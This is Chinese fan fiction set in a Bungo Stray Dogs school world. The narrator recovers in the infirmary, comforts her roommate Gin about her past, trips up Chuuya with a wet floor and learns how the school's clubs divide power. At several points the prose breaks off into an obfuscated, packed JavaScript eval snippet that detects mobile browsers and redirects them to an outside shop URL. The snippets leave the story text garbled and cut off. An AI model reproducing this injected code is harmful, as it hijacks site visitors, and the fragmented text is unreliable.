我蔫蔫地点头,无精打采地问:“学姐你是二年级生吧?盐水是你自己配的吗?”其实我想问的是她是怎么敢给我扎针的,医务室的老师去哪里了。但看着她手中冒着寒光的的注射器,话到嘴边莫名拐了个弯。 她挑眉:“是啊,医务室的注射液都是我配置的。我偶尔来医务室帮忙,老师今天不在,只好由我照顾你。” 横滨高校你怎么回事,让二年级生配置医务室的注射液,还给人扎针,真的没问题吗? “别误会。”像是看穿我在想什么,她耸耸肩,“学校可不知道这件事。但我和老师谁做都一样。”反正死不了。 我睁大眼睛。 有种把针头拔掉立马逃离黑心医务室的冲动。 “把药吃了。”她拿纸杯接了杯温水,和胶囊一起递给我。 我乖乖咽下,闷闷地说:“还是好难受。” “药才刚吃,一会就好了。”不知道想到什么,她露出了古怪的笑容:“我倒是有一套起效很快的治疗方法哦。” “什么?” “把你砍成濒死,我用异能力「请君勿死」把你救回来,什么病痛都会消失。”她的笑容慢慢扩大,变得诡异。 学姐你的颜艺都变鬼畜了喂!! “不了学姐,我就不体验了。”我飞速说完,头上冒出几滴汗。 “切,没劲。”她又恢复到无聊地状态,“既然知道难受,就别吃那么多辣啊。” “嗯……但是辣咖喱真的很好吃。”我小声说。 “口腹之欲比身体重要吗?”她脸色黑了下来,冷笑:“看轻生命的人,将会被我以最痛苦的方式治疗。” 最痛苦的方式?“学姐的‘异能力’吗?” “是啊。”她瞥了我一眼,“这是救赎,也是惩罚。” 我已经对横滨高校人均中二病的现象屡见不鲜,或许这就是本校特色吧。我竖起大拇指:“学姐的异能力真的很酷。” “比起其他高大上的异能力,还是觉得学姐的异能力最好呀。和天使一样拯救别人呢。” 没想到时隔多年能再次被人称为天使 与谢野晶子愣了一下,那些晦暗和酸涩的记忆再次涌现在脑海中,她凑近我,凝视着我微亮的眼眸,低声说:“你还没有体验过我的异能力呢?” 美女的靠近让我感觉有些热,面色微红,移开目光打了个哈哈:“已经体验过了!其实刚刚已经濒死在医务室门口了,是学姐用异能力把我救回来的!” 我若有其事的点点头:“救命之恩!” 她脸一黑:“你还敢提。你无端倒在医务室,被巡察的学生会看见了,以为我在拿学妹做实验,盘问半天。” “学姐你不应该反思为什么学生会第一反应是这个吗……” “嗯?”她发出一声上扬的尾音。 “不不、我是说……学生会还挺负责的!” “切。不知道那个叫坂口安吾的为什么事情这么多。”她双臂环胸,不满道。“又是问你的情况,又是查医务室门口监控。” “坂口学长?”我有些惊讶。 “认识?” “嗯,我昨天入学手续就是他帮忙办理的,多亏了坂口学长我才能这么快认清路。” “昨天才转来的小鬼啊,难怪这么莽撞。”她耸肩。“看在是关心你的份上,原谅他了。” 我感到一阵困意袭来,打着呵欠问:“学姐,我是不是该回宿舍了?” “你看看现在几点了。”她瞥我一眼。 我一看钟表,发现的确很晚了。刚刚昏迷的时间很长,学姐这么放心地把我留在医务室也是心大…… “困了就在这睡吧。”我的眼皮变得沉重,可能是太困的原因,她的声音竟然不可思议的温柔,“我守着你。” 门被轻巧地打开了,带进来的气流有着几分夜晚的冷气。我看见走进医务室的身影,一下清醒了很多。 “小银?” 她是披着头发的状态,应该是回宿舍后才赶过来的。 “你怎么样?”她有些担忧,“我问宿舍长,她说你晚饭后扶着墙离开宿舍,我就从教室找你到这。” “我没事啦,不过轻微肠胃炎,刚刚睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗯?”她突然把头转向我,有些如梦初醒的恍惚,带着歉意说道:“佑木,你叫我吗?” 我靠近她,双手牵住她冰冷的手。 她一怔,不明所以,却不知为何想要握紧这双小巧炽热的手。 “你还好吗,小银?”我凑近她耳朵,小声说。 小银摇摇头示意没事,牵着我继续走在路上。 唉,不愧是兄妹。这个反应,和芥川一个样。我在心里默默倒数。三、二、一。 她说:“刚刚去医务室找佑木,想到了以前的事情。” “什么事?”我问。 “国中的时候,经常去医院看哥哥。” “芥川?他怎么了?” “哥哥有肺病。”她的声音陡然低沉下去。 我心中暗惊,病有很多种,偏偏肺病最难医治。想到芥川现在还经常咳嗽,恐怕还没根治。 我赶忙转移话题,语气轻松地说:“那芥川怕是没少让父母操心吧?” “父母很早死了。” “哦、留下的遗产够芥川治病吗?” “遗产被亲戚分走了。” “嗯……那亲戚也负责照顾小银和芥川咯?” “没空管我们。” 我:“……” 10. 医务室一游含金量仍在上升 “那小银真是很坚强啊。” 我说。 她眼底的沉郁还未散去,怔怔地看着我。 刚步入中学的孩子,还没有迎接新的生活,就收到父母意外去世的噩耗。怀揣着悲伤与不安,被陌生的亲戚收养,却发现亲戚吞走了大量父母的遗产……两个中学的小鬼能做些什么?无能为力。像皮球一样被几个亲戚踢来踢去,遗产却越来越少,最后甚至连安身之处都没有。 而唯一的血亲哥哥本就体弱,曾经被父母仔细温养照料的身体本应无恙,却在辗转中肺病加重,在医院几次生命垂危。 治病养病都要钱,把本就剩余不多的遗产用完后,走投无路的她再次找到亲戚。本不富裕的亲戚吞占了属于兄妹的遗产,过着声色犬马的生活,却不愿从纸醉金迷中抬头看一眼苦苦哀求的少女。 作为他唯一的、想要保护的妹妹,一次次站在病房前接过病危通知书,看着昏暗灯光下一行行诛心的文字,眼里翻涌的无助被红绿闪烁的灯火模糊,落在笔尖处晕染开的签字上。 那时候的她,都想过些什么?蜷在昏黑的夜里,面对无能为力的现实,厌恶卑微弱小的自己,会知道日后,这段经历能被称一声“坚强”么? “面对那么多事情的小银,真的很勇敢。”我抬起手拍拍她的头。 小银闷声继续说:“因为那些亲戚,我和哥哥一直过得很艰难。直到遇见太宰学长。” “诶?太宰学长?” “是他用了一些手段,恐吓威胁那些亲戚把我父母名下遗产分毫不差地还给了我和哥哥。” “诶?那些亲戚还得上吗?” “还不上。”小银有些微妙地说,“在太宰学长的建议下,那群人欠了一堆债,现在在我父亲曾经的厂里打螺丝。” “嘶……太宰学长当时还是中学生吧?!” “是的。当时我和哥哥中二,太宰学长中三。他把我们带进了社团,从那时起,我和哥哥就一直为社团效力。” 我震撼于太宰学长在中三的时候就有这样的手段。想想我身为中学三年生的时候在干什么?和小兰贴贴,和圆子贴贴,和新一为了小兰争风吃醋……嘶。 “无论曾经发生了什么。”我把小银揽住向前走,“现在的小银过得很好,不会被那些不好的事情烦扰了。” “那么,我们回宿舍吧,小银!”我朝她绽开笑容。 少女的声音犹如无罪的审判。 赦免她的无能之罪。 那些绝望的片段犹如附骨之疽无数次在深夜浅眠中闪过。如今再也不会惧怕,因为梦中所见皆是少女的笑颜。 第二天的闹铃响起,我在床上艰难地爬起来,挣扎着把闹铃挂掉,安详地躺回被窝。 一只手把我从被窝中拔出来,就跟清理粘鼠板上的老鼠一样。我掀开眼皮一看,是小银。 “佑木,你胃还难受么?” “不难受了。”我带着困意竖起大拇指,“与谢野学姐神医妙手。”接着像融化一样慢慢瘫了下去,试图流回被窝。 “别再睡了,还要上课。”她无奈地说,继续戳戳我。 经过几轮挣扎,我还是被不可抗因素驱使着起床了。这个不可抗因素不是上课,而是小银的坚持不懈骚扰。 踩着上课铃声堪堪到达教室,顶着种田老师的死亡凝视回到座位,我狠狠松了口气。 芥川的目光没有离开书本:“你昨晚去医务室了?” 看来小银和芥川说了。我点点头:“轻度肠胃炎,已经没事了。” “……请照顾好自己。不要让银担心。” “其实芥川你也在担心我吧。” “……并没有。” 好吧。我才不会拆穿一个没有眉毛的同桌。 今天的课还是一如既往的难懂。本来就听不懂的课,加上昨晚回宿舍太晚,种田老师的政治课就变得相当助眠。 我耷拉着头,看在是班主任课的份上,努力不让自己睡着。如果政治还能勉强撑住,下一节数学就直接破防了。 每一个希腊字母都随着数学老师的絮叨试图往我脑子里灌,但陌生知识在脑中不停的进出只会让我更加昏沉。我的头慢慢低下。 “下一题,这是道函数,先看它的值域……” 我再也压抑不住睡意,头猛地垂下! 本来要狠狠装上桌子,没想到并没听见“咚”的一声,也没有接踵而来的痛感。相反我好像撞到什么软软的东西,头被往上托了一下,免于以头抢桌的悲剧。 没来得及思考,或者理所当然地以为是错觉。我一下清醒很多,连忙直起腰睁大眼睛。正好和数学老师对视上。 我用尽毕生演技,让我的眼睛充满对知识的渴望。 表面认真听课实际余光一直关注磕头的同桌的芥川,冷静淡定地收回罗生门,终于松了口气。 正在激情上课,突然看见名列前茅但据说是不良的芥川突然在课上开启异能力意图伤害同桌的数学老师,见罗生门被收回,缓缓流下一滴虚惊的汗水。 刚准备移开视线发现可怜的我眼中突然爆发出bulingbuling的求救射线。 数学老师:“……”良心好痛。 芥川,因为热心帮助同学,而被老师叫上讲台做了一整节课的题。 真是场酣畅淋漓的误会啊。然而我什么都没意识到,只庆幸老师原来是在看芥川。 课间时,我像是被吸魂了一般瘫在桌子上,芥川从讲台上回来,我想起这位做了一节课数学题正确率百分百的战士,挣扎着为他点了个赞。 他无语了一瞬,刚想张口说话,又皱起眉头,掩着嘴咳嗽几声。 我才反应过来,吸入黑板的粉笔灰对肺很不好。然而芥川在讲台上站那么久,黑板擦擦写写几次,肯定很不舒服。 “芥川,去连廊活动活动吧?”我担忧地说。 “咳咳、在下不需要……” “是吗?”我打断他,微笑着说:“芥川早读时还警告我别让小银担心呢,居然连自己都做不到吗?” 他沉默一瞬,在我和善的微笑下走出教室。 搞定。我垮下脸,重新瘫回我的座位。 没有芥川的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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春野绮罗子放心地说:“看来与谢野医生没有发展到用异能力医疗陌生学妹的程度。” “……异能力?”我迟疑一瞬:“是把人砍成濒死再救回来的‘请君勿死’吗?” “……”二人齐齐惊恐地看过来。 “与谢野医生没有往注射液里加小料吧?” “千叶你打针时回血了吗?” “难道她给你注射了一袋空气……” “如果是与谢野学姐的话直接吊真空袋也不是不可能……” 春野绮罗子忧心忡忡地说:“只要不拿电锯追着千叶砍就好,那样心理阴影也太大了。” ……最后,我废了九头花子两个犯病中岛敦之力,解释清楚与谢野学姐真的没有对我做什么。 二人打着检查的名号把我的脸搓圆捏扁,才嘀嘀咕咕地放过我。摸着微红的脸。看着她们的背影,再次感到迷茫。 难道,高校二年生调配注射液,真的是最正常的事情……连我都开始接受…… 11. 痛击帽子君 中午照例和芥川兄妹一起吃饭。在二人的监督下含泪吃了很清淡的一顿。 中途在讨论芥川为什么会突然被叫上讲台,连着写半节课的题。 经过一番激烈(其实只有我在吵闹)的争吵,我们得出结论:肯定是因为芥川没有眉…… 这个结论还没有被我宣布完,就被芥川忍无可忍地吼回来:“在下有眉毛!” 食堂一片寂静。 意识到声音没有控制住,芥川急忙敛声,却哪里来得及。 所有人的目光,微妙地在某个人的眉间停留一瞬。又装作若无其事地移开视线。 我和小银咽了咽口水,看着芥川爆发出的杀气战战兢兢——当然是我战战,她兢兢。 他面色变得铁青,午餐后半程对我展开死亡凝视,连小银都没理过几次。 呜呼哀哉!追求真理的道路总是困难的。 当天,学校论坛出现一个热帖。只是由于一个人的初来乍到,一个人的生气沉闷,一个人的按而不发,我们三人(表面上)都不知道。 ——|横滨高校|【讨论】芥川龙之介有眉毛?! 下午的课程也很快结束,芥川没有打招呼就准备匆匆离开。我朝他道别,看着他僵着身子转过身不情愿地回应,我心里笑翻了。并决定如果明天他还是不自在,就向芥川道歉。 话说芥川和小银最近都有社团活动,我也开始思考加入一个社团的可能性。下午放学很早,作业也不多,如果能加入社团的话,还能多交到朋友…… 这样想着,我在座位上无聊地转着笔,听到春野绮罗子他们的谈话。 “诶?今天是直美值日吗?” “是啊,虽然大部分卫生我下午都做完了,但还剩下最费时间的拖地。”直美叹了口气。拖地虽然不浪精力,但需要等地干了才能关门窗离开,很浪费时间。 “但是社长说下午有个很重要的会,一会就到时间了。”春野绮罗子有些焦虑地看着表。 “我们留下来帮直美拖地吧。”宫泽贤治建议道。 “地干需要很长时间,你们留下来也没有用。还是快去社团吧,不要耽误开会。”谷崎直美无奈地说,催促着二人离开后,拿起卫生工具认命地开始打扫。 我有些听明白了。谷崎直美需要留下来拖地,但是会耽误他们社团的重要活动。想到自己没有参加社团又如此闲散,我义不容辞地起身。 “谷崎同学。”我走近她,接过拖把,“你去社团吧,这里交给我就好。” “诶?!”谷崎直美很意外,但她很快反应过来,也没有推辞,毕竟社团的会议确实很重要:“那就拜托你了,下次我会替你值日的!” “对了!如果佑木你不介意的话……可以叫我直美。” 她冲我鞠了个躬,背着书包匆匆离开,应该是想追上前面二人。 诶?她刚刚,是叫我佑木吗? 我呆了一下,努力按下上扬的嘴角。 把教室拖完,只剩下等着地干。想起直美走得匆忙没有说走廊需不需要拖,我看看不算干净的走廊,还是把我们班的部分扫干净拖了。 走廊是瓷砖,拖完实在容易脚滑,我脚滑了两次,差点绊倒。 都这个点了,应该没有人从这里过来吧? 我在进班坐着吹空调和留在走廊提醒之间徘徊两秒,还是良心战胜了懒惰,站在班门口张望。 连廊的风很凉爽,我靠在栏杆上,被风吹出一阵困意。刚打定主意一会先回宿舍补个觉,就感到一阵风呼啸而过。 我睁开眼,只捕捉到一抹熟悉的赭色闪过。 “地板有水……”我弱弱道,却只听见他拿着手机连珠炮吐出的一串:“为什么又要开会啊?!真是的……我马上赶过去——喂——!” 话没说完,他脚下一滑,他迅速反应过来想调整重心,但地面太滑甚至连着力点都找不见,一伸脚又滑了一下,整个人狼狈地摔在地上。手机在匆忙中挂断了,黑色礼帽也掉在地上,整个人处于摔懵的状态。 我看清那顶熟悉的帽子,仅存的一丝侥幸也被彻底打破。 完了。第一面恩人帮我提行李,第二面我把恩人放倒。还装备爆了一地。 畜牲啊我。 他从短暂懵逼中清醒过来,从地上爬起,杀气腾腾地看向我。 “是你啊。”他的冷笑冒着黑气,“还有什么遗言吗?” “学长,你没事吧?!” 没想到我的“遗言”是这句,他噎了一下,脸很快黑了下来,“拖把的水拧下来都能养鱼了,还问我有没有事?” “对不起学长!我不是故意的!”我滑跪。捡起地上的礼帽,双手呈上。 “不是故意的?你以为我会信?”他挑起眉毛,神色愈发冰冷,“你——在这等了我多久?是谁派你来的?” 我瞠目结舌,不知如何解释。他冰冷的神情带来属于上位者的压迫感,让我血液逆流,只剩下恐惧。这样骇人的气势,和小银芥川不经意流露出来的杀机有过之而无不及。 “不说话?呵。”他向前走了一步,我心脏猛地收缩,打算他再靠近一步我就把礼帽扣他脸上! “你……” “啊呀呀,真是晦气啊,这么好的天气却遇到讨厌的蛞蝓。” 一个轻佻的声音无端插了进来,这个熟悉的出场方式让我感动得热泪盈眶。上次并没有特别的感受,此时处于被解围的一方,我非常想给太宰学长点赞。 我发誓,那瞬间我看到对面的赭发少年脸色阴沉得可以拧出和我的拖把一样多的水。 “混蛋青花鱼——果然是你干的好事!”他咬牙切齿地说,仇恨完全被太宰学长吸引。 “果然是没有脑子的蛞蝓吗——我不过是路过,却看见美丽的学妹正在被黑漆漆的矮人为难——” “哈?明明是这家伙故意设计我!” “真是自恋的家伙。”他嫌弃地说,“学妹提醒过你地滑,是你自己完全没有听到学妹的声音哦?” 赭发少年拧着眉头看我一眼,我弱弱点头。 太宰学长懒懒地补充:“不信的话,某只黏糊糊的蛞蝓电话有录音功能吧?要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213631|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要听听上一通电话里有没有学妹的声音?” 少年不是扭捏的人,干脆地捡起手机,翻出通话记录,外放开到最大把进度条拉到后面。 “中也学长,前天东门那些混混的背景查到了,背后另有其人,似乎与“组合”有关。针对此事,森先生决定召集社员开个研讨会……” 声音的最后,掺杂着一声慌乱的“地板有水”,很快被少年不耐烦的话掩盖:“为什么又要开会啊?!真是的……” 被称为中也的少年沉默地关掉录音,还是忍不住吐槽:“这么小的声音怎么可能注意到……” 我不好意思地挠挠脸,太宰学长已经身先士卒地开嘲讽:“明明是小矮子的问题,反咬一口学得很熟练嘛。” 中也立马反唇相讥:“连自己老师都能背叛的人有什么资格说我?混蛋青花鱼,那个拖把的水是从你的鱼缸运过来的吗?” 太宰学长冷笑:“恶心的蛞蝓还是快点滚回老家排排坐等着开会吧,再晚一点,森先生会猜忌你也说不定哦?如果调查出你是被一个学妹拖的地滑倒的,他的脸色想必会很精彩吧。” 中也很明显骂不过太宰,阴沉着脸,怒冲冲走开了。 我手上仍然拿着他的礼帽,见此默默放下。默默擦了擦脑袋上的汗。 真是恐怖的杀伤力啊,太宰学长。 “今天谢谢你了,太宰学长。”我郑重地说。考虑到二人的不合,把帽子使劲往身后藏了藏。 “没关系。寻找殉情的伴侣也是我日常任务的一部分啊。”太宰治深情地看着我。 ? “殉、殉情?”我有些结巴。 “学妹,”他凑近一步,丝毫不顾我抗拒的神情,把帽子抢过扔到地上,然后握住我的双手,含情脉脉地说:“请和我殉情吧!” 我愣住。 我疯狂检索解决方案。 沉默良久,我缓缓开口:“话说……太宰学长,你们社团也有重要会议吧……” 太宰学长僵住。 计划通。我心里淡定地点了个赞。 昨天食堂可知,中岛君、贤治和太宰学长属于一个社团。刚刚扫卫生得知,春野绮罗子、谷崎直美和贤治也是一个社团的成员。所以他们五个人都要参加同个社团的会议。 “直美他们很早就赶去社团了,生怕错过会议。”我谴责地看着他。 “学妹的眼神好扎心。”他松开我的手,捂着胸口沉痛地说,“我是有理由迟到的,为了寻找我命中注定的殉情伴侣。” “太宰学长,这算无故缺席。”似乎为了映衬我说的话,他口袋中的手机突然响起来,铃声甚至是什么奇怪旋律的“一个人是没办法殉情的~”。 什么鬼歌词啊。不会是太宰学长你自己录的吧? 他耸耸肩从口袋拿出手机,把手机拿远一点后点了接通。刚刚接通,就听见手机对面暴躁男声的咆哮:“混蛋太宰!你到底在哪里?会议都开完了,你还没有到社团!”穿透性极强,使我的耳膜隐隐作痛。就像有人开挂隔空扇了你一巴掌,拔剑四顾心茫然。 12. 迟来的社团概况 “诶——我当然是有我的任务要做——”太宰学长一如既往地不着调。 “那你说说,你都干了些什么?”对面咬牙切齿。 太宰学长说出真相的话,会被打死的吧……我默默地想,莫名有些同情手机对面的人。 “前夜的混乱,背后是‘组合’在操纵。”太宰学长的声音突然沉下来,“黑手党已经插手,这次行动,恐怕五大干部也会出马。” “什么?”对面的人愣了一下,然后也迅速冷静下来:“春野会去核实,除此之外,获取消息时请注意安全。” “为了得到侦探社急缺的信息,我负伤了,接下来两周都不能写报告了。”太宰学长脸不红心不跳地说。 ……太宰学长,明明只是看了半天乐子后又把中也学长骂了一顿吧?你怎么连吃带拿的? “混蛋!不要太过分——!”电话被太宰学长冷漠地挂断,他的声音戛然而止。 “学妹。”他朝我轻巧眨眨眼,“现在我算有故旷班。” 我沉思:“太宰学长到底哪里伤了?”我想起他从初次见面手臂就缠着绷带,难道真的受伤了? “我的心被学妹伤得支零破碎。” 我了悟:太宰学长果然无碍。 好不容易打发走太宰,我疲惫地回到教室,把门窗关好后离开了。 我打算回宿舍睡一会,晚饭后再完成作业。走在通往女宿的路上,开始思考最近遇到的奇奇怪怪的人。 首先,这个学校有很多中二病,大都以为自己有异能力。 其次,绝大部分人认知都不太正常,接受了异能力的存在。经常做出一些匪夷所思的行为。 但是这个世界上怎么可能存在这种东西啊?高专就算了,我真的看见过咒灵;但是横滨,可是夜蛾老师亲自认定的正常学校,甚至连咒灵都没有! 这样吐槽着,突然看见一个奇怪的长者从面前掠过。之所以吸引我的目光,是因为他的发色实在惹眼。这位长者的头发是三种花色,右边的黄发遮住眼睛,左边的黑发掠到耳后,黑色帽子下露出一点后脑勺的白发。 他穿着棕色长款风衣,优雅得如同英伦绅士。却做出与绅士风格不符的行为,他急急从我面前走过,丝毫没有打招呼的意思,径直走入草丛,一拐就在草丛中消失了。 刚准备问候的我:“……” 啊,可能是有急事吧。这样一位绅士,即使践踏草坪肯定也情有可原! 我在原地看着没有践踏痕迹的草丛疑惑地思考了一会,摇摇头抬脚准备离开。刚刚那位绅士走来的方向又来了几个女生。 “啊,小猫又不见了。” “刚刚还往这个方向跑呢……” “都怪芽衣跑的太慢啦,把小猫跟丢了。” “喂喂!猫猫很灵活的好吗?跟丢怎么能怪我呢!” 几个女生七嘴八舌地吵闹着,一个比较温柔的女孩主动问我:“同学,你刚刚有看到一只小猫吗?” 小猫?我回忆了一下,说:“没有看见过呢。” “诶?难道找错方向了?” “芽衣,都说了是你的问题了——” 几个女孩面露失望,但也没有执着。向我道谢后准备离开,她们走了两步都停下了脚步,齐齐问好道:“夏目校长,下午好。” 我惊讶看去,小路尽头站着的是刚刚那位绅士。他此时看起来沉稳又优雅,多了一根简约风雅的手杖。 他就是横滨高校的校长,夏目漱石老师? 他微微颔首,几个女生有些拘束地走了。他将目光投向我。 “夏目校长,下午好。”我乖乖靠近问好,知趣地没问他刚刚在跑什么。 “你好,千叶同学。”他大概是看见了我的学生证。 我乖巧地笑了笑,打算离开,他却继续问道:“你刚刚为什么说没有看到猫呢。” 原来夏目校长听到了吗?我疑惑回答:“我的确没有见到猫啊。” 他深深看我一眼,没再多言。 夏目校长离开后,我借着被打断的思路,嘴里念叨:“所以,异能力怎么可能存在……” 女宿几乎没有人,大家都在社团度过精彩的校园生活吧。 真好,精彩的高校生活,就是不考虑学业的压力,把所有的勇气押在热爱的活动里,在花前月下和心动的异性互相试探,或是夏日深夜和挚友一起喝汽水…… 我反省了一下自己:天天学得像狗但是没有成效、没有参加任何社团生活三点一线、唯一算得上心动的“异性”已经成为了要好的室友、而芥川兄妹不在时自己又面临落单的境遇…… 我痛心疾首地悲伤两秒——为自己一无是处的高校生活。 然后倒头就睡。 年轻真好。 等我补完觉神清气爽地起床,揉了揉眼睛,只听见门外络绎不绝的脚步声,看来大家都吃完晚饭了。 我裹着被子沉思两秒,饥饿战胜了懒惰,我整理了一下衣服,出了宿舍。准备外出觅食。 走向食堂时,身后的声音把我叫住: “佑木?还没吃饭吗?” 我转头,看见很多熟人面孔。 “是呀,晚上好。绮罗子,直美,泉同学,中岛,还有贤治。” 春野绮罗子和谷崎直美,泉镜花,中岛敦与宫泽贤治,还有一个被直美紧紧搂着有些瘦弱的男生——难道是直美的对象吗? “下午的事,还是要再感谢一遍佑木呢。”直美搂着身侧的男生,笑嘻嘻地说。 “没关系。”我摇了摇头,迟疑地把目光投向那个男生:“这是——” “啊,忘记介绍了,这位是我的哥哥,隔壁班的谷崎润一郎。”直美搂得更紧了,上身紧紧贴着他的手臂。 “哥哥大人,这是我们班的新同学,千叶佑木~” 谷崎的身体有些僵硬,他努力装作若无其事地朝我点头。 ……我也努力不让目光飘向二人接触的地方,绷着脸和谷崎打了个招呼。 直美,你说的这个哥哥,他正常吗? 谁家兄妹高校一年级了还搂这么紧啊! “不要在意他们的关系。”中岛敦在我身侧悄悄说,似乎在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直美朝我笑起来:“绮罗子对可爱的事物没有任何抵抗力呢。”表面上是在打趣春野绮罗子,实则在向我解释。 “佑木想加入那种类型的社团?”中岛敦问。 “好玩的吧?”我思考,“之前听别人说这边有很多有特色的社团,像那个‘黑手党文化交流协会’?听起来蛮有意思。” 中岛敦一行人:“……” “有什么问题吗?” “没、没有呢。说起来,佑木对我们学校的社团文化还不熟悉吧?” “只听人简单说过,没有了解。” “一般学校的秩序都由学生会维护。”绮罗子解释道。“我们学校因为「异能力」的因素,权力分布比较复杂。” 懂了,中二病太多不好管教。 “学校的势力主要是三股:有多个分部的学生会、武装侦探社、黑手党文化交流协会,简称黑手党。” 我:“……简称这么简略吗。” 13. 限定版长毛狮子猫 绮罗子不紧不慢地喝了口饮料,接着道:“学生会主要负责组织学校活动、侦探社帮助校内学生解决各种困难,黑手党负责解决校内外学生之间的大小冲突。” “三方势力彼此牵制着,尤其是侦探社和黑手党,几乎是水火不相容。” “大家不都在守护横滨高校吗?” “守护的手段有所不同。”谷崎润一郎解释,“比如黑手党所谓的解决冲突,就是各种方面的‘解决’……” “包括物理解决。”中岛敦补充,“而且黑手党本来就起源于崇尚□□的暴力社团,这种处理方式只能算以暴制暴吧。” 我想起前些天帮我搬行李以避开骚乱的赭发学长,对中岛敦的评价不置可否。 “而我们,”谷崎直美俏皮地眨眨眼,语气中充满了自信与骄傲,“就是武装侦探社的成员。” “诶?”我惊讶。 “因为学生们的困难和冲突几乎绑定在一起,所以侦探社和黑手党经常打交道。”春野绮罗子叹了口气。 “等等,”我试探地问:“那上次你们和芥川他们对峙……” “芥川是黑手党的游击队直属队长。”从见面开始就一言不发的泉镜花突然张口。 “那个叫银的人是黑手党‘黑蜥蜴’的十人长。” 我有些懵:“……游击队?黑蜥蜴?” 中岛敦想了想,小声和我解释:“大概是巡逻队长和劝架前锋?” 我:“……啊?” 中岛敦,解释的太好了,把黑手党的滤镜直接关了啊。 宫泽贤治:“佑木不惊讶吗?” “怎么说。”我托腮,“不算意外吧?从你们说黑手党负责解决冲突开始。因为他们的社团活动很频繁。”特别是身为舍友的小银经常深夜回宿舍,这谁不怀疑两下…… “那,佑木想加入哪个社团呢?”春野绮罗子抛出的问题让大家再次静下来,都看向我。 我沉思一瞬。 一个是直美一行人所在的社团,一面是芥川小银的协会,不管加入哪个都会得罪另一方,陷入尴尬的局面。 既然如此…… “果然我还是用社团时间学习吧!”我总结。 “诶?”大家露出豆豆眼。 “因为侦探社和黑手党,一个是脑力派一个是武斗派,都不适合我啊。”我解释,“而且这么重要的社团,怎么会随随便便收人啊?” 中岛?被随随便便收留?敦:“……” 泉?被随随便便策反?镜花:“……” “其实刚转过来,课程也经常跟不上。”我挠挠头,“社团的事还是等月考过了,看看成绩再说吧?” “也是。”春野绮罗子迅速接过话题,笑着应和。“不过,有一点错了。” “什么?” “‘武装’侦探社可不全是脑力派哦?”谷崎直美加重“武装”二字。“我们一年级的社员,除了贤治,都是后勤组的。” “认真算起来——我们社只有一个脑力派吧。”中岛敦说。 “诶?谁?” “三年级的名侦探,江户川乱步。” “一切端倪在他眼中都无处遁形。” 我认识他。应该说早在中学的时候,我就听说过他的大名。名侦探的光芒太耀眼,即使是与横滨遥遥相望的东京也有他的粉丝。我的幼驯染工藤新一就是江户川乱步的头号粉丝,极其崇拜这位一眼就能还原案件真相的天才侦探。 我默默记下这个一年级社团成员公认的脑力派成员。没忍住好奇心:“太宰学长呢?他算什么派?” 中岛敦露出微妙的表情:“太宰学长……摸鱼派吧……” 其他人都露出赞同的表情。 我居然也升起诡异的赞同之心。 晚饭后,我起身结账。 “上次说要请贤治吃饭的,后来一直没有实现。”我冲大家眨眨眼:“刚好一起结了呗,记得下次请回来呀。” 谷崎直美和春野绮罗子不再阻拦我,谷崎润一郎和中岛敦倒是很不好意思,本来就不善言辞,闻言也不再多说。泉镜花认认真真地向我道了谢。 就这样,又定下了下次再次聚餐的约定。 回学校的时候,谷崎直美紧紧抱着谷崎润一郎,朝我们打招呼:“不早了,我和哥哥就回公寓了,路上小心。” “诶?直美不住宿舍吗?” “住宿就不能和哥哥大人在一起了。”谷崎直美佯装苦恼地说。“所以就在校外租了公寓,这样每天都能和哥哥一起睡觉了~” 我冒出冷汗,中岛敦的提醒还在耳畔回响。 告别谷崎兄妹后,大家在路上的聊天暂且不提。直到我到了女宿二楼,中岛敦和宫泽贤治在男女寝楼下分开了,春野绮罗子宿舍在一楼。此时只剩下我和泉镜花。 泉镜花比较沉默,却和平和的小银不一样。她似乎抗拒和我接触,我不太懂在浴室尚且算友好的少女为什么态度突变,也就一路沉默。 走到203,我准备和她告别。只听见她突然小声说:“不要加入黑手党。” “啊?” “一切都是他们的伪装,黑手党的本质就是血腥和暴力。”泉镜花继续说,“如果不想染上麻烦,最好离芥川兄妹远点。” “他们是即将饿馑的恶犬,抓住希望便不会甘心松手,只会不死不休。” 我想一下,还是选择了最保守的问法:“何以见得?” 她突然激动地转身,直视着我的眼睛,我仿佛从她颤栗的瞳孔中见到燃烧的灵魂:“因为我就是黑手党协会前成员、203前宿舍成员——” 她的声音戛然而止,看向我的后方。 我感到不妙,没有回头,而是上前一步摸摸泉镜花的头,说:“泉,今天太累了吗?快回去休息吧。” 她脸色苍白,被我半推回207。 把泉镜花送回宿舍后,我这才转身走向203,看到了从一开始就站在暗处的小银。 她是长发的样子,身上难得穿了白色的睡裙。头发湿湿得搭在肩上,看来是刚洗完澡。在楼梯灯光下,她的脸藏在暗处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 